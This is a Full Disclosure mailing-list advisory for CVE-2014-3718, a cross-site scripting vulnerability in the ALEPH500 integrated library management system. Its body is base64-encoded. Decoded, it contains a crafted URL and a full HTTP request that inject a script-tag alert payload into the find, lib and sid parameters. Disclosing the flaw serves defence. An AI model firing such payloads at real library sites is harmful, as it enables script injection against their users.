[FD] CVE-2014-3718] ALEPH500 (Integrated library management system) Cross Site Scripting Vulnerability
"xxx" <[email protected]> Thu, 15 May 2014 19:43:20 +0800
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.full-disclosure,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <[email protected]> |
R3JlZXRpbmdzOg0KDQoNCiAgICAgICAgYSBBTEVQSDUwMCAoSW50ZWdyYXRlZCBsaWJyYXJ5IG1h bmFnZW1lbnQgc3lzdGVtKSBDcm9zcyBTaXRlIFNjcmlwdGluZ6O7Q1ZFLUlEIGlzIENWRS0yMDE0 LTM3MTguDQoNCg0KQWxlcGggNTAwLCBmdWxseSBtZWV0IHRoZSBpbmR1c3RyeSBzdGFuZGFyZCwg aXMgYW4gYXJ0IGNsYXNzIHBlcmZlY3QgbGlicmFyeXNvbHV0aW9uLCB0aGUgRXggTGlicmlzIHRv IHB1cnN1ZSB0aGUgZXNzZW5jZSBvZiBwaGlsb3NvcGh5IGlzIGZsZXhpYmxlIGFuZCBlYXN5IHRv IHVzZS4gRXggTGlicmlzIGlzIHRoZSB3b3JsZCBsZWFkZXIgaW4gdGhlIGZpZWxkIG9mIExpYnJh cnkgYW5kIGluZm9ybWF0aW9uIGNlbnRlciBvZiBkZXZlbG9wbWVudCBvZiBoaWdoIHBlcmZvcm1h bmNlIGFwcGxpY2F0aW9uIHN5c3RlbS5BbGVwaCA1MDAsIHdpdGggT3JhY2xlIGRhdGFiYXNlIGFz IGEgYmFja2dyb3VuZCwgZnVsbHkgc3VwcG9ydCB0aGUgVW5pY29kZWNoYXJhY3RlciBzZXQsIHN1 cHBvcnQgWE1MIG1hbmFnZW1lbnQgcmVwb3J0LCBhbmQgbGlua3MgdG8gb3RoZXIgdG9wIGFwcGxp Y2F0aW9uIHN5c3RlbSBvZiBBUEksIGlzIGEgcGlvbmVlciBpbiB0aGUgZmllbGQgb2YgTGlicmFy eSBhdXRvbWF0aW9uLldpdGggbW9yZSB0aGFuIDIwIHllYXJzIG9mIGRldmVsb3BtZW50IGV4cGVy aWVuY2UsIHRocm91Z2ggdGhlIGRlc2lnbiBvZiB0aGUgZm91ciBnZW5lcmF0aW9uIEFsZXBoIHN5 c3RlbSwgRXggTGlicmlzIGlzIGFscmVhZHkgaW4gdGhlIHdvcmxkIHdvbiBhIG51bWJlciBvZiBs b3lhbCBjdXN0b21lcnMsIGF0IHByZXNlbnQsIHRoZXJlIGFyZSBhbHJlYWR5IG1vcmUgdGhhbiAx MjUwc2V0cyBvZiBBbGVwaCBzeXN0ZW0gd2FzIGluc3RhbGxlZCBpbiA1MSBjb3VudHJpZXMgYW5k IHJlZ2lvbnMgb2YgdGhlIGxpYnJhcnlhbmQgTXVzZXVtIHdpdGhpbiB0aGUgY29hbGl0aW9uLg0K DQpTb2Z0d2FyZSBEZXNjcmlwdGlvbg0KPT09PT09PT09PT09PT09PT09PT09DQpUaGUgQWxlcGgg NTAwIHN5c3RlbSBpcyBhIHNldCBvZiBmdW5jdGlvbmFsIGludGVncml0eSBvZiB0aGUgaW50ZWdy YXRlZCBsaWJyYXJ5IGF1dG9tYXRpb24gc3lzdGVtLCBpcyBJc3JhZWwncyBFeCBMaWJyaXMgKEVs aSBCZXRoIENvLikgZGV2ZWxvcGVkIHRoZSBmaWZ0aCBnZW5lcmF0aW9uIG9mIHByb2R1Y3RzLg0K DQoNClZ1bG5lcmFiaWxpdHkgRGVzY3JpcHRpb24NCj09PT09PT09PT09PT09PT09PT09PT09PT0N ClZ1bG5lcmFiaWxpdHkgdGl0bGU6IE11bHRpcGxlIFBlcnNpc3RlbnQgQ3Jvc3MgU2l0ZSBTY3Jp cHRpbmcgQUxFUEggNTAwIChDVkUtMjAxNC0zNzE4KQ0KQ1ZFOiBDVkUtMjAxNC0zNzE4DQpWZW5k b3I6ICBJc3JhZWxpIEV4IExpYnJpcyAoRWxpIEJldGggQ28uKSBkZXZlbG9wbWVudA0KUHJvZHVj dDogIElzcmFlbGkgRXggTGlicmlzIChFbGkgQmV0aCBDby4pIGRldmVsb3BtZW50IEFMRVBINTAw IChJbnRlZ3JhdGVkIGxpYnJhcnkgbWFuYWdlbWVudCBzeXN0ZW0pDQpBZmZlY3RlZCB2ZXJzaW9u OiAxOC4xoaIgMjANCkZpeGVkIHZlcnNpb246IEFMRVBIIDUwMA0KQXV0aG9yOiBTaGFkeS5saXUg REJBcHBTZWN1cml0eSBDby5MdGQuDQpVUkw6IGh0dHA6Ly9bZG9tYWluXS9jZ2ktYmluL3RhZ19t LmNnaT9maW5kPSUyNUQzJTI1QzUlMjVCQiUyNUFGXyUzQy9zY3JpcHQlM0UlM0NzY3JpcHQlM0Vh bGVydCUyOC94c3MvJTI5JTNDL3NjcmlwdCUzRSZsaWI9QkdEMDEmc2lkPUY3TVgzNFJQMTlNUkRF SjRYS0U0QThJR05WUzNROUY3TVhZUVQ4MzJIUzNTREtCVUxULTAxNDY2DQpBZmZlY3RlZCBwYXJh bWV0ZXIocyk6IGZpbmShomxpYqGic2lkDQoNCkhUVFAgUkVRVUVTVA0KIEdFVA0KL2NnaS1iaW4v dGFnX20uY2dpP2ZpbmQ9MTcmbGliPUJHRDAxJnNpZD1GN01YMzRSUDE5TVJERUo0WEtFNEE4SUdO VlMzUTlGN01YWVFUODMySFMzU0RLQg0KVUxULTAxNDY2Xzwvc2NyaXB0PjxzY3JpcHQ+YWxlcnQo L3hzcy8pPC9zY3JpcHQ+IEhUVFAvMS4xDQpSZWZlcmVyOg0KaHR0cDovL2hvc3Q6ODk5MS9GP2Z1 bmM9ZmluZC1tJmZpbmRfY29kZT1XVEkmRklORF9CQVNFPUJHRDA5JkZJTkRfQkFTRT1CDQpHRDAx JkZJTkRfQkFTRT1CR0QwMyZGSU5EX0JBU0U9QkdEMDcmcmVxdWVzdD0NCkhvc3Q6IGhvc3Q6ODk5 MQ0KQ29ubmVjdGlvbjogS2VlcC1hbGl2ZQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLGRlZmxhdGUN ClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQpIEFwcGxlV2Vi S2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pDQpDaHJvbWUvMjguMC4xNTAwLjYzIFNhZmFy aS81MzcuMzYNCkFjY2VwdDogKi8qDQoNClJlcGxhY2UgobBmaW5koaJsaWKhonNpZCIgcGFyYW1l dGVyIHZhbHVlIHdpdGggIl88L3NjcmlwdD48c2NyaXB0PmFsZXJ0KC94c3MvKTwvc2NyaXB0PqGx DQoNClRvb2xzIHVzZWQ6IE1vemlsbGEgRmlyZWZveCBicm93c2VyDQoNCg0KDQoNCg0KU2hhZHku bGl1IERCQXBwU2VjdXJpdHkgQ28uTHRkLg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpFbWFpbDpTaGFk eS5saXVAZGJhcHBzZWN1cml0eS5jb20uY24NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCl9fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fClNlbnQgdGhyb3VnaCB0aGUgRnVsbCBEaXNjbG9zdXJlIG1h aWxpbmcgbGlzdApodHRwOi8vbm1hcC5vcmcvbWFpbG1hbi9saXN0aW5mby9mdWxsZGlzY2xvc3Vy ZQpXZWIgQXJjaGl2ZXMgJiBSU1M6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvZnVsbGRpc2Nsb3N1cmUv